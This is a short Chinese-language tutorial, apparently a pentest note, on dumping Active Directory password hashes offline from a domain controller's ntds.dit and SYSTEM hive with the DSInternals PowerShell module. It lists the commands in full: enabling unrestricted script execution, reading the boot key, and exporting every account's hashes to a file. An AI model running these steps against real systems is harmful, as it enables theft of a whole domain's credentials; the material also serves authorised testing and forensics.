利用powershell(DSInternals)分析hash

查看powershell版本：

  1. $PSVersionTable.PSVersion
  2. 看第一个Major
  3. 或者
  4. Get-Host | Select-Object Version

Windows Server 2008 R2默认环境下PowerShell版本2.0，应该升级到3.0版本以上,需要.NET Framework 4.0

需要文件：

  1. ntds.dit(vshadow获取)
  2. system(reg获取)

执行命令：

  1. 允许执行脚本：
  2. Set-ExecutionPolicy Unrestricted
  4. 导入模块(测试是win2012_powershell ver4.0)：
  5. Import-Module .\DSInternals
  6. (powershell ver5.0)
  7. Install-Module DSInternals
  9. 分析hash,并导出到当前目录的hash.txt文件中
  10. 1、$key = Get-BootKey -SystemHivePath 'C:\Users\administrator\Desktop\SYSTEM'
  11. 2、Get-ADDBAccount -All -DBPath 'C:\Users\administrator\Desktop\ntds.dit' -BootKey $key | Out-File hash.txt

利用powershell(DSInternals)分析hash - 图1

这个只是离线分析了ntds.dit文件,其实也可以在线操作,=。=,不过感觉实战中遇到的会比较少,毕竟现在主流是win08为域控(以后这个倒不失为一个好方法) 更多详情参考三好学生大牛的文章：http://drops.wooyun.org/tips/10181